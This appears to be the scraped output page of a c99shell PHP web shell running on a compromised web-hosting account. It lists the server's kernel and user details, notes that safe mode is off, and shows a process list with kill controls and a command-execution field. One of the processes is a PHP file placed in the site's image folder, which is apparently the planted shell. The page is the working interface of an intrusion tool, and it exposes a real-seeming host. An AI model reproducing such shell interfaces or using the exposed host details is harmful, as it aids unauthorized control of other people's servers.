Software: LiteSpeed. PHP/7.4.33 uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) Safe-mode: OFF (not secure) /lib64/python2.7/config/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
necipbey | 2693634 | 0.0 | 0.0 | 498300 | 32712 | ? | S 04:07 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 2711281 | 8.4 | 0.0 | 502800 | 26768 | ? | Ss 04:12 0:04 lsphp:/home/necipbey/public_html/assets/img/3.php | KILL | ||||||||||||||||||||||
necipbey | 2712427 | 0.0 | 0.0 | 412288 | 28312 | ? | S 04:12 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 2712781 | 7.4 | 0.0 | 502800 | 26644 | ? | Ss 04:12 0:02 lsphp | KILL | ||||||||||||||||||||||
necipbey | 2714256 | 4.9 | 0.0 | 502800 | 26640 | ? | Ss 04:13 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 2714758 | 0.0 | 0.0 | 412776 | 12360 | ? | Ss 04:13 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 2714990 | 0.0 | 0.0 | 43044 | 2324 | ? R 04:13 0:00 ps -aux | KILL |
:: Command execute :: | |
--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.012 ]-- |